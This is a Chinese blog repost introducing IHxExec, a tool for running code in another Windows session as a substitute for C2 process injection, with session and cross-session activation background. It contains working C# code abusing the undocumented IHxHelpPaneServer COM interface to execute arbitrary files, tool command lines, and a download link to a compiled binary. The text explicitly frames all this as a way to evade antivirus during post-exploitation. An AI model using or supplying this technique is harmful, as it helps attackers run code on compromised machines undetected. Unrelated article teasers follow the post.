替代进程注入的新工具

news2024/9/20 10:45:15

目录

前言

Windows Session 的利用

Windows Session 介绍

跨会话激活技术

什么是跨会话激活机制?

常见的跨会话激活技术

结合利用

地址


前言

众所周知,常用的C2工具(例如CobaltStrike)在另一个进程上下文中执行代码经常使用的就是injectshinject命令,这两个命令可以将代码注入到任意远程进程中。例如:

inject 5732 x64

但是进程注入方案现在已经被杀软监测得死死的,尤其是某数字公司,只有在当前进程上下文中进行注入才不会被杀。那么除了进程注入外我们是否还有其他方案能在其他进程上下文中执行代码呢?

Windows Session 的利用

Windows Session 介绍

在介绍新工具前,我先讲一下大致的原理,核心就是利用了Windows Session。会话(session)是由进程和其他的系统对象(比如窗口站、桌面和窗口)构成的,他们代表了一个用户的工作站登录会话。Windows系统是支持多会话的,因此会话空间(session space)包含了一些针对每个会话的全局信息。Session的创建一般有以下两种方式:

  • 本地会话:用户在物理机上登录,创建一个会话。
  • 远程会话:同一用户通过远程桌面连接到同一台机器,也会创建一个新的会话。

我们可以通过输入quser来查询当前Session:

Windows中net session的利用也可以查看这里,进行进一步了解,例如窃取Session来进行提权(前提是获得了SeImpersonate或者SeAssignPrimaryToken权限)。

跨会话激活技术

什么是跨会话激活机制?

跨会话激活机制是指在不同的用户会话之间执行某些操作或激活某些功能。这种机制在多用户环境(如终端服务器或远程桌面服务)中尤为重要,因为不同用户的会话是隔离的。

常见的跨会话激活技术

Windows 服务:Windows 服务运行在会话0中,可以与其他用户会话进行交互。例如,服务可以在用户登录时启动某些进程。

任务计划程序:可以使用任务计划程序在特定的用户会话中执行任务。

远程桌面服务(RDS):可以通过 RDS 在不同用户会话之间进行操作。

COM 和 DCOM:组件对象模型(COM)和分布式组件对象模型(DCOM)可以在不同会话之间进行对象调用。

WTS APIs:Windows 终端服务(WTS)API 提供了一组函数,用于跨会话管理和操作。

结合利用

如果存在Session1和Session2,在Session1中利用跨会话激活技术来在Session2中执行代码,就与进程注入相差无疑了。流程为:

创建服务器会话(Session1)和客户端会话(Session2) 客户端会话是用来接收创建COM对象请求的会话,通过调用该COM对象的方法,客户端将能够在其会话中执行代码。

其中最为重要的则是如何执行代码,此处使用P0在2016年公布的一个未文档化的接口:IHxHelpPaneServer,该接口很有用,因为它提供了一个 Execute 方法,允许在系统上执行任意文件。使用方法为:


using System;
using System.Runtime.InteropServices;

namespace IHxHelpPaneServer
{
    static class Program
    {
        static void Main()
        {
            var path = "file:///C:/Windows/System32/calc.exe";
            var session = System.Diagnostics.Process.GetCurrentProcess();
            Server.execute(session.SessionId.ToString(), path); // u can change session id here
        }
    }

    static class Server
    {
        [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        interface IHxHelpPaneServer
        {
            void DisplayTask(string task);
            void DisplayContents(string contents);
            void DisplaySearchResults(string search);
            void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
        }

        public static void execute(string new_session_id, string path)
        {
            try
            {
                IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); // alert alert red flag
                Uri target = new Uri(path);
                server.Execute(target.AbsoluteUri);
            }
            catch
            {

            }
        }
    }
}

那么如何在其他session中创建com接口呢,可以使用IStandartActivator + ISpecialSystemProperties。详情查看这里。在大多数情况下,我们都并非在多session环境中上线的,有趣的是在单session环境中,我们仍可以调用此接口进行代码执行,虽然Session未进行切换,但是IHxHelpPaneServer在杀软绕过上仍然奏效(可以理解为com接口的滥用仍起作用)。那么这里就有两套方案:

单session(常用情况):

.\IHxExec.exe -s 1 -c C:/Windows/SYSTEM32/CALC.EXE

多session:

.\IHxExec.exe -s 2 -c C:/Windows/SYSTEM32/CALC.EXE

地址

本文使用工具下载地址(已编译):https://pan.quark.cn/s/6737c50e12da

相关项目(未编译):https://github.com/CICADA8-Research/IHxExec

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2044153.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【安全科普】学完网络安全出去能做什么工作?

想要了解学完网络安全工程师就业班后,出去能做什么工作,这个时候会分甲方或是乙方,看个人更偏向哪个岗位。 甲方指的是政府、海关、税务机构、高校及其他国有银行、商业银行,以及移动运营商(如中国移动、中国联通、中…

如何保证数据不丢失?(死信队列)

死信队列 1、什么是死信 死信通常是消息在特定的场景下表现: 消息被拒绝访问消费者发生异常,超过重试次数消息的Expiration过期时长或者队列TTL过期时间消息队列到达最大容量 maxLength 2、什么是死信队列 只由死信构成的消息队列是死信队列 死信队…

积加ERP与金蝶云星空对接集成FBA月度差异打通其他出库新增

积加ERP与金蝶云星空对接集成FBA月度差异打通其他出库新增 对接源平台:积加ERP 积加创始人及核心产品技术团队,深耕于跨境电商技术领域十余年,深刻领悟卖家在Amazon业务运营各环节的核心诉求,结合多年技术管理经验,全面考虑中国卖…

实用好软-----超简单的图片加水印工具 方便 实用 避免盗用

日常生活中,我们经常在图片或者视频上看到一些具有独特设计的文字或者图片,并且下载后依旧会存在于其中,这种常见的标识叫做——水印。 一.水印? 随着人们版权意识的觉醒,越来越多的人为了防止自己的图片被盗用&#…

visual studio2022如何安装.net framework4.0

visual studio2022如何安装.net framework4.0 背景 老版本代码.Net Framework4.0,visual studio2022不支持,可以通过导入包来解决。 解决办法 通过 nuget 下载 4.0 安装包 下载地址:https://www.nuget.org/packages/Microsoft.NETFramework.ReferenceAssemblie…

MapStruct 实体类转换工具,看这一篇就够了!

前言 DTO(Data Transfer Object):数据传输对象,这个概念来源于J2EE的设计模式,原来的目的是为了EJB的分布式应用提供粗粒度的数据实体,以减少分布式调用的次数,从而提高分布式调用的性能和降低…

基于NXP IMX8P+FPGA+AI全自动化学发光免疫分析仪解决方案

全自动化学发光免疫分析仪 全自动化学发光免疫分析仪可对受试者的全血、血清、血浆标本进行分析,从而制定科学的治疗或者处置方案。 IMX8P采用Cortex-A53架构四核处理器,主频高达1.8GHz,标配2G内存,强劲的视频处理能力搭配高版本…

贪心算法总结(4)

一、跳跃游戏I 55. 跳跃游戏 - 力扣&#xff08;LeetCode&#xff09; class Solution { public:bool canJump(vector<int>& nums) {//贪心双指针 用left和right指向两个区间 然后maxpos表示下一层的最右端点int left0,right0,maxpos0,nnums.size();while(left<…

《乳腺密度高的女性中,使用AI辅助的乳腺X线筛查与补充筛查超声的比较研究》| 文献速递-基于深度学习的乳房、前列腺疾病诊断系统

Title 题目 Screening Outcomes of Mammography with AI in Dense Breasts: A Comparative Study with Supplemental Screening US 《乳腺密度高的女性中&#xff0c;使用AI辅助的乳腺X线筛查与补充筛查超声的比较研究》 Background 背景 Comparative performance between…

html+css 实现hover 故障效果按钮

前言:哈喽,大家好,今天给大家分享html+css 实现hover 故障效果按钮!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏+关注哦 💕 目录 📚一、效果📚二、原理解析💡1.这是一个,鼠标hover时,显示故障的效…

WechatBotCMD:通过命令行接口实现微信机器人自动化

WechatBotCMD&#x1f916;&#xff1a;通过命令行接口实现微信机器人自动化 WechatBotCMD简介WechatBotCMD的核心功能1. **命令行界面 (CLI)**2. **消息处理与自动回复**3. **定时任务**4. **群聊管理**5. **配置管理** 如何安装或引入 WechatBotCMDWechatBotCMD使用示例启动和…

Leetcode JAVA刷刷站(33)搜索旋转排序数组

一、题目概述 二、思路方向 要设计一个时间复杂度为 O(log n) 的算法来找到旋转排序数组中的目标值&#xff0c;我们可以利用二分查找的变种方法。关键在于&#xff0c;虽然数组被旋转了&#xff0c;但数组被分为两部分后&#xff0c;每部分仍然是升序的。我们可以利用这个性质…

后端Web核心之请求响应

目录 1.概述 2.接收请求 简单参数和实体参数 数组集合参数 日期参数和JSON参数 路径参数 总结 3.返回响应 1.概述 Web请求和响应是HTTP协议中的核心概念&#xff0c;它们是客户端&#xff08;通常是浏览器&#xff09;与服务器之间通信的基础。 浏览器发起请求后&…

大数据-85 Spark 集群 RDD创建 RDD-Action Key-Value RDD详解 RDD的文件输入输出

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09; HDFS&#xff08;已更完&#xff09; MapReduce&#xff08;已更完&…

机器学习:knn算法

1、概述 全称是k-nearest neighbors&#xff0c;通过寻找k个距离最近的数据&#xff0c;来确定当前数据值的大小或类别。K-近邻算法是一种基本而又有效的机器学习算法&#xff0c;用于分类和回归任务。它属于实例学习方法&#xff0c;或者说是一种基于规则的记忆方法。 2、基本…

STM32外设篇:MPU6050

MPU6050简介 MPU6050是一个6轴姿态传感器&#xff0c;可以测量芯片自身X、Y、Z轴的加速度、角速度参数&#xff0c;通过数据融合可进一步得到姿态角&#xff08;欧拉角&#xff09;&#xff0c;常应用于平衡小车、飞行器等需要检测自身姿态的场景。 3轴加速度计3轴陀螺仪传感…

各种国产操作系统,一个 U 盘搞定

熟悉 Windows 装机的朋友对老毛桃和大白菜这类装机工具应该不陌生。这两款流行的工具可以用来制作启动盘&#xff0c;方便进行系统安装、备份和还原等操作。它们集成了多种磁盘工具&#xff0c;并支持一个启动 U 盘安装多个版本的 Windows 系统&#xff0c;如 Windows 7、Windo…

css中的高度塌陷

CSS高度塌陷&#xff08;或称为高度坍塌&#xff09;是指在某些特定情况下&#xff0c;元素的高度无法被正确计算或显示的现象。这通常发生在具有浮动属性的元素或使用绝对定位的元素周围。 原因 高度塌陷通常发生在父元素包含着一个或多个浮动元素时。由于浮动元素被移出了正…

ChatTTS部署

1、创建conda环境 conda create -n TTS python3.10 conda activate TTS2、拉取源代码 # 从 GitHub 下载代码 git clone https://github.com/2noise/ChatTTS cd ChatTTS拉取模型文件 git clone https://www.modelscope.cn/pzc163/chatTTS.git ChatTTS-Model3、安装环境依赖 …

UDP详解/消息边界

本文旨在解释了为什么说UDP是不可靠,到底什么是UDP的消息边界,以及UDP是否会出现粘包和半包的问题 概念 UDP协议是一种面向非连接的协议,面向非连接指的是在正式通信前不必与对方先建立连接,不管对方状态就直接发送,至于对方是否可以接收到这些数据内容,UDP协议无法控制…